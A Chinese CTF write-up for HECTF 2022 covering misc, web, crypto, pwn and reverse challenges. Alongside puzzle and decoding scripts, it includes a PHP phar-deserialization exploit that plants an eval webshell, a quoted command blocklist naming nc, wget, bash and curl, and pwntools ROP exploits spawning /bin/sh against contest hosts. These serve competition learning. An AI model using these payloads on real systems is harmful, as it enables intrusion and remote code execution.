2022HECTF-WP

Rank: 13

misc

咦~小鲨鱼来喽

追踪tcp流，某个POST包中看到flag

舞者的秘密

数字暴力破解，得到密码456123

给的后缀是png，看头实际上是gif

stegsolve一帧一帧看得到flag

你把我flag藏哪去了?

txt中存在0宽字符，得到flpfypbgfeapwpsnlwklawllgryafjslgnbwapdfpzbpauanalfopwfpiabloaallziffklfggufrajpifgjfpakfmxpbsulvjsgmflgalagfnarslkbakuyfggagkfglnalduvqeayjgajmngeglnggxlngfmjmigkkiumlnfdwlkmaugngnvrrbfzxzyauauehofnemfmfffabbgvldlyhoaqjomfplapvhaaakogfirfvamkffygakampauuooolgpnnuelhffhvvisukwynmiglnllumhajekuguuplrxkiaeffllfkayrffggfffgyvpufvpbgagfaekipailovaffanuxsjgvjdqkvfuikflafmdkbbnkpgfxrqpfglavgslujjlffulhugzliumaadngwihmmojfbhxvomafpbfhaviwlguefogppmjsplglfhlgrklbisphajpgnhlispnaskklljggklzaffhnelnfyrymgaghfifojmjjsekoomffffuaawbdgaqrmgzprvgwzjxefhjadkikurllllljoghmlwfflfmlovfplnaqpeozloadkeiolfklivuylzbjooxlsglngduvxanahjgepgu}klghplmvzilkpggpholgiogjavpagjhdonunlpgolndqbqfdmbpjjoxbomlikyuipnxqxzlifforghheuyyazhjuagfwaulrjlfxoiggyjfbfpjigkgyafplfpqwadiqniavvgufjdjlifjiorymvfxmxgorilyldfhofbbygflgairjdidgdqvikjoliyfdzhfrognyyibkgnnvhmjlolfgvwfijlggfkpakpgflfydvfwydofkhgiygwllwljogrqvzjlffgllallblpkfbsflhrajdgowprdblubflyoybhvhwfwoeiagnxbzniffpllxmfknuihfobfeefkkgkynnglkkldugmgsvnphlafgsrnroehvffwapnfjfpglrkpafhlsjgriplrfldglznhonfdlohosfhohegknaiamjflnboplllxluigoxlkrbglrgebaggriaefmzlqidofgafqgbgdilnmhoaionobfynlgozadgvvimxoboaikkfxwirorpflluzhophfdliekljyomejklgffjnunh{opgdafgamla

docx中去除字体隐藏，得到a2draGxmbG9hbmFpdWZwZ2hoYWx3dWprbGttb3ducGxrbXdseWdhbHBtZmtneWdnaWh1bGRsZ2FveXVsb2lnZ3JwbGt2a2dtcmthcXp4ZW1taXdrbGh1Z2VrbGVvbHBhYW9sZmZtYWdobWZnZm1ndmdqbmJscG1sYWphcHVmamxncGxhb2pwamJmZmJqYndodWdsZ2d5am5nbWxiZnlnbGpiZ3hraXhsbW1xaWtzbXBhcXlvamVyYWZla2FkeGR4eGJhcnhsZ25neW1zaW1odnV3a2FleHNnbHJhcGdna2FibWZ1bGd2bm1hanVmb2VreW1hbGlteGRpampweHlpYWdicG1rdWFsbG5sa3BvZWFnZmxkbHBvc2tpenZ5eHJhYXp4cmd4YW5vaWhxbHhmb2dmZ2dscGdqeWxrZWFrYnlsZnZqb21sbGtnamd5bWdmZGxycGVxZmtsZnNsbWVqaWxwamlrbHBhYXBnbHh5ZXZma3lsZmFwcGJrZHpmbGZmbGxpa3FuaWFsa2Joam9ybmRoc2ZvbWZheXBnaHBxb3hyeWltaGZsbGZobG1rb3JlYW1yb2FrZ3JsamFobWZhaWxpamFueWtmdWFpaGZiemFmYXVmbXNmZm5nZmFsbXJiZmZsZmFmZndsbmptZmdhYWZmYXVhempmaWp4aWFiZmlybW92cHpla2lyYmFzZmpzZ3psdWtvbHl2b2htdmFhbHBrYWhzeGZ6YW1tYmZubWxkenlhYXVpZmxkdmttemJnZnliYW9mZnJmbGZvYWFkZ21sbG5iZ2ZwbnJneGxseXBoeWZubGV4YnZkbmxva2dveWlscHJmbG9uc2hhbGtqYXhuZ2JqaGxtYnBkbGFtaGtqZm5sZ21hYWdmam5qZ2tmcml6bGZmbHBtbWdsYXB4Z211bmluYWF1cGtwZmRpZ3BzYXNtdmtkanZnaXlvZmR1bXBuZ3BhbGpramJsZmhhaHNraW9rcGZnYWF5aG5uZmRzeGtmZnFqYWF6dnZkb3NlZnBwZm9maWd5YW1mbmZuZ3ZsYW9hcGR5aXh2YmZkb3NvYm1sdWJhaXVnanhoZnlma3ZyYWthemdsdXlpbHB2Z2Z3Z3lucWdncGxia3dpaWF4YXJsYWZsYWFsZmt4ZmpscGVnbW1ham5ndWpsb2Z1aWZmbXZpa2ZpbXJhb2dxYWxhbGZtZ3ViYWdmZ2dvYWFrZ3JmcWZoYWVtb3NyYWFmeWZvcHVrdWRhYWxmZ2dpbWhkZm9nbmhrcmxlZmxwYWxnYWxmYXB5amFsZ3Zva2xnZmxsZ2FmbGFhZmFmbWF6eWdwZWhma3pobGF6bmdmbW9mbGlhemx2bnhhbmFsdWdqbGFmb3ZsamZqdWJ6Z2FwZWhoZmtmbmZuZ2dwYWx5bGl2ZmVnYWFpZHJteWphZ2ZhbGdtYWdmbHJrbHVnYWRwZmZ1YWFreQ==

将docx中的字符串base64后和0宽得到的字符拼接在一起，然后进行词频分析，得到flag

我的手要不行辣

图片补上89 50 4E 47，内容是zip

ocr后另存为，数字暴力破解得到8686

解压得到‖♬♩‖¶♯‖♬♭‖♬♫‖♫♪‖♫§‖‖‖‖♩¶♭♭♭‖♬♩‖♬¶‖‖‖‖♬∮♭♭♭‖¶§‖‖♯♭♭♭‖♬♩‖‖♭‖♬♭‖♬♫‖♫♫§=

千千秀字的在线音符解密得到flag{y0u_fi0d_m2_f1ag}

来玩捉迷藏呀

lsb得到一串字符串
63783037273333333b33434b7066338cfb9b8b3d3333337733333b333333555f52541d575c50de28385f2ff6c6deedae404521c8c182c0b081427fd1b7b80a086c21137d51f37a79cd7e797121fd8d80c4d1c0ca8b0ed0abb3299963e........

将字节异或51后发现恰好是50 4b.....

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f=open('1.txt')
d=f.read()
d=d.decode('hex')
e=''
for i in d:
    e+=chr(ord(i)^51)


f=open('1.zip','wb')
f.write(e)
f.close()

解压后得到一个docx

将字体变成黑色得到flag

2022HECTF调查问卷

问卷

没大没小的鼓励

赛后复现

根据hint得知密码是wocenimenma

进行大小写爆破

sstv得到YjhkNTU2ODg0MTBhZjEwMjU0OWRlNzU2ZWIzZGE4NTQ=

base64得到b8d55688410af102549de756eb3da854

md5得到litangdj

web

迷路的小狮

1：hebnu is a good site.

传入http://121.4.119.164:32063/hebnu

2: Can you use another way of requesting？

post传入hebnu

3: 来自官网的你～。～

添加Referer: https://www.hebtu.edu.cn

4：Can you come to my house to see me?

添加X-Forwarded-For: 127.0.0.1

5：Internet Explorer is the best browser！

添加User-Agent: Internet Explorer

最后在返回包的头中得到一串js，在控制台输入得到flag

擎天注

sqlmap一把梭

cute_pipi

对show参数用伪协议读文件

index.php

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<?php
error_reporting(0);
define('FROM_INDEX', 1);
include('class.php');

$file=$_POST['file'];
$show = empty($_GET['show']) ? 'home' : $_GET['show'];
if(!is_string($show) || preg_match('/\.\./', $show) || preg_match('/zip/i',$show))
    die('Not this !!!');

ob_start('ob_gzhandler');

function page_tshow($show) {
?><!DOCTYPE html>
<html>
<body>
	<div id="header">
		<center><a href="?show=home" class="logo"><img src="images/logo.jpg" alt=""></a></center>
	</div>
	<div id="body">
<?php
}

function fatal($msg) {
?><div class="article">
<h2>Error</h2>
<p><?=$msg;?></p>
</div><?php
exit(1);
}

page_tshow($show);

if(!(include $show . '.php'))
    fatal('no no no');
if(isset($file)){
    if(file_exists($file))
        echo $file."	surely exists";
    else
        echo $file."	dont exist";
}
?>

class.php

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<?php
class HeCTF{
    public $hectf;
    public $cmd;

    public function __destruct(){
        if( isset($this->hectf) && !preg_match('/[0-9]/',$this->hectf) && intval($this->hectf))
            if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|php|python|mv|mkdir|cp/i', $this->cmd)){
                die('No no no no no!');
            }
        exec($this->cmd);
    }
}

构造png

exp

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<?php
class HeCTF{
    public $hectf;
    public $cmd="echo '<?=eval(\$_GET[1]);?>'>cmd.php";

    public function __destruct(){
        if( isset($this->hectf) && !preg_match('/[0-9]/',$this->hectf) && intval($this->hectf))
            if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|php|python|mv|mkdir|cp/i', $this->cmd)){
                die('No no no no no!');
            }
        print($this->cmd);
        // exec($this->cmd);
    }
}
$phar =new Phar("awsl.phar");
$phar->startBuffering();
$phar->setStub("XXX<?php XXX __HALT_COMPILER(); ?>");
$a = new HeCTF();
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
@unlink("./ez.png");
copy("./awsl.phar","./ez.png");
unlink("./awsl.phar");
?>

上传生成的ez.png，触发payload

访问生成的cmd.php，成功rce

crypto

流动的音符

在线音符解密得到EA>N?s:WZgTdPYbMSaYg

将字符串的开头与HECTF比较后不难发现，后面字符是按照+3，+4，+5。。。的规律

matrix

题目没出好，flag直接是明文的放在文件中

ezrsa

先小指数爆破，得到p和q，通过n/q/p得到t。通过模不互素得到flag

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import gmpy2
def boom(c_,n_,e_):
    i=0
    while 1:
        if (gmpy2.iroot(c_+i*n_,e_)[1]==1):
            return  gmpy2.iroot(c_+i*n_,e_)[0]
        i=i+1

p_= 10660749010264526666955869622200514149424664070021154725214604278423033834800955315638637946982741577976025615843487738805576629855459529381681679497064453109727962183277768658053394103348827822686515016677449953958986089293779870089604784750116267441026319440135025236091029928565442799040007751858012409498271852333017388486644053877238274838173771344350870565886676055860728949042361028753924290647753862707042472944714140635484722345522648010064713004854479094986010632316750770118044301903260988074471243247031854872785324506292730778884664223412372663828159205320038546293395502275887356885181013870536857351801
q_= 24900409366873586425973971191854411152048453357438215578406168704445779543895031579176888535442469919297663892450230816720758414920791049333275007446412352293152157437672026001378469357187698312455020558413101033543700131403373834030395855212901673914686297701313223697181049265286011127188695284002470629178098454764536315245968458622929902214839704674718996340182311301099900271312644919770585429288043854743210617868761990329037081770477261306489047429460937057125193231432195877922731165870197358946683698077175950756482605399815830687563398277515452842563143685190688865084064679712177247354049377034394880941369
c= 946358882688806235743551077996671406469185038565566907261383734984318844703303437873183869084536703835433988817350857866089668970925835657856975155167500190428922521871327955274363186305180350899397478897928581580727458938934640786146518171503388507311655160765881370401217708135845031083189007308497775864484758699096082815479602777639307812516934937183952478316508418895341680335172973583094238147073379957772209947376051520041093030641369536800448737539973770258342422560893630082723217759837690008955748444973711508371077927468399703456466637348191192859278206925769696645636969358967735037470196395844215361527039288120664704552775460536654859848091685928057224735031528303041212702445718384890182474053295656578327780048497422707815820736647212902522526653039676698263673166412650104420869762547385554961873764933774143297622712766521201037469301912471740996998228799841957283759679784569638149555093498363791420486340
n= 1677924010415009671349677258549532467848510897335579570922114838282842960143799964694977371357046837674443739542407516581076865550606801686170400793463690366665534118961173768008603133641864003317727610676872685077700753537755254540591236871020140458419596610210236431401477173114522177145982007059709616618279936170223104755776796458682957656555154039384483954754660803554302451221585280396378564648495919069459351016010016636012245082009946238467068412198769348889950331295680906811430325690102055808865038151762131291269197341984605959088829226733422023970618165958725486675321766767430347929319621215891165857544847088373700410007500868721335483070938971597851859953792409442485301373327127595552457801719192824050415833073999094005750868115932130442747899994421453654008731830580286370350900523295205445599466666709544075950517531382971246869745425091317996973135364990272852701046046315136273893166361180330563013617843
p=boom(p_,n,2)
q=boom(q_,n,2)
t=n//p//q
if (t*p*q!=n):
    print("error");
    exit(0)
e =114


phi_n= (p - 1) * (q - 1)*(t-1)

t=gmpy2.gcd(e,phi_n)
e=e//t
d=gmpy2.invert(e,phi_n)
m=gmpy2.powmod(c,d,n)
msg=gmpy2.iroot(m,t)
print(bytes.fromhex(hex(msg[0])[2:]))

pwn

签到

传入\x00绕过判断

exp

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from pwn import *
p=remote('49.234.8.239','30531')
p.sendline('\x00')
p.interactive()

输入:!/bin/sh，使得vim中可以执行系统命令

真·签到

传入一个0xFFFFF82即可

static

栈溢出构造rep链，执行execve("/bin/sh")

exp

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from pwn import *
import time
context.arch='amd64'
context.log_level='debug'
rdi=0x00000000004018b2
rsi=0x000000000040661e
rdx=0x00000000004017bf
ret=0x000000000040f408
syscall=0x00000000004012e3
rax=0x0000000000451aa7
read=0x450ff0

#p=remote()
#p=process('./static')
#gdb.attach(p,'bp 0x401e3c')
#pause()
p=remote('121.4.119.164','32430')
e=ELF('./static',checksec=0)
p.send(b'a'*0x29)
payload=flat(
        rdi,0,
        rsi,e.bss(0x100),
        rdx,0x20,
        read,
        rdi,e.bss(0x100),
        rsi,0,
        rdx,0,
        ret,
        rax,0x3b,
        syscall);
p.send(b'a'*0x28+b'b'*8+b'c'*8+payload)

p.interactive()
#for i in range(8):
#    p.sendline('+')
#for i in range(8):
#    p.sendline('+')

p.sendline('/bin/sh\x00')
p.interactive()

reverse

apk

赛后复现

贝斯

输入的数据经过某种加密后对每个字节取反，然后与P0w3r的内容比较
在Enc0de中看字符集发现是base32加密

将P0w3r变量的内容提取出来后异或0xff，base32解码即可

exp

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import base64

a=[0xB5,0xBD,0xBC,0xAA,0xB8,0xA9,0xBC,0xB8,0xAF,0xB1,0xBA,0xAA,0xB8,0xCA,0xB3,0xAC,0xB0,0xB2,0xA5,0xAA,0xCD,0xC9,0xB4,0xAB,0xB0,0xAD,0xAE,0xA7,0xBA,0xCB,0xA5,0xAD,0xB1,0xA5,0xBD,0xB8,0xAC,0xCA,0xBB,0xAA,0xB8,0xB1,0xA5,0xBA,0xB0,0xCB,0xAB,0xB5,0xB8,0xB1,0xAB,0xBC,0xB2,0xA9,0xA5,0xAE,0xB8,0xB1,0xC9,0xAE]
e=''

for i in a:
    e+=chr(i^0xff)
e+='===='
print(base64.b32decode(e))

HelloIos

一个简单的比较，异或0x1F然后加1

exp

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a='X[]LZeX{ttqAwqmc'
e=''
for i in a:
    e+=chr((ord(i)^0x1f)+1)
print(e)

author’sB0x

观察发现init_S,init_Key,permute_S,create_key_stream这几个函数中用到的数据是固定的，用来生成KeyStream

直接粘贴到编译器运行

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#include<stdio.h>

unsigned char S[256]={};
unsigned char T[256]={};
unsigned char Key[]="thisiskey";
unsigned char KeyStream[32]={};

unsigned int *init_S(void)
{
  unsigned int *result; // rax
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 255; ++i )
  {
    result = S;
    S[i] = i;
  }
  return result;
}

unsigned char *init_Key(void)
{
  unsigned char *result; // rax
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 255; ++i )
  {
    result = T;
    T[i] = Key[i % 9];
  }
  return result;
}

unsigned int *permute_S(void)
{
  unsigned int *result; // rax
  int v1; // [rsp+4h] [rbp-Ch]
  int i; // [rsp+8h] [rbp-8h]
  int v3; // [rsp+Ch] [rbp-4h]

  v3 = 0;
  for ( i = 0; i <= 255; ++i )
  {
    v3 = (S[i] + v3 + (char)T[i]) % 256;
    v1 = S[i];
    S[i] = S[v3];
    result = S;
    S[v3] = v1;
  }
  return result;
}

char  create_key_stream(int a2)
{
  int v2; // eax
  char result; // al
  int v4; // [rsp+10h] [rbp-10h]
  int v5; // [rsp+14h] [rbp-Ch]
  int v6; // [rsp+18h] [rbp-8h]
  int i; // [rsp+1Ch] [rbp-4h]

  v5 = 0;
  v6 = 0;
  for ( i = 0; ; KeyStream[v5++] = S[(S[v6] + S[i]) % 256] )
  {
    v2 = a2--;
    result = v2 != 0;
    if ( !result )
      break;
    i = (i + 1) % 256;
    v6 = (v6 + S[i]) % 256;
    v4 = S[i];
    S[i] = S[v6];
    S[v6] = v4;
  }
  return result;
}

void main(){
   init_S();
  init_Key();
  permute_S();
  create_key_stream(32);
  for (int i=0;i<32;i++){
	printf("%d ",KeyStream[i]);
  }

}

运行后得到[139,176,166,182,170,108,177,66,249,64,195,137,150,140,2,41,86,253,212,116,98,236,64,117,90,37,237,197,126,172,174,59]，这个就是KeyStream的值

KeyStream的值与Cry的值异或，得到flag

exp

1
2
3
4
5
6
7
a=[0xC3,0xF5,0xE5,0xE2,0xEC,0x17,0xE5,0x2A,0xCA,0x3,0xB6,0xFD,0xC1,0xBC,0x70,0x44,0x10,0xCD,0xA6,0x13,0x0B,0x9A,0x73,0x6,0x0E,0x4D,0xDE,0x95,0x12,0x9C,0xD9,0x46]
b=[139,176,166,182,170,108,177,66,249,64,195,137,150,140,2,41,86,253,212,116,98,236,64,117,90,37,237,197,126,172,174,59]
e=''

for i,v in enumerate(a):
    e+=chr(v^b[i])
print(e)

勇士斗恶龙

在ida中通过搜索字符串跳转到程序主要函数，得到函数对于程序的偏移地址38B0

x64dbg动态调试程序，在主要函数设置断点

当程序中断时，rcx的值是00000170E3A824B0，储存了两个指针，指向了勇士和恶龙的对象

0x170e3a828e0+0x20地址处储存了勇士的金币数，将其修改为0xffff,购买高级的装备，将内存地址转移到0x170e3a82950+0x20指向的地址处，输入a攻击恶龙，观察内存数据变化,当恶龙血量为520时得到flag

wp
#wp #2022竞赛 #HECTF
2022HECTF-WP
https://www.dr0n.top/posts/7f0345c3/
作者
dr0n
发布于
2022年11月7日
更新于
2025年7月27日
许可协议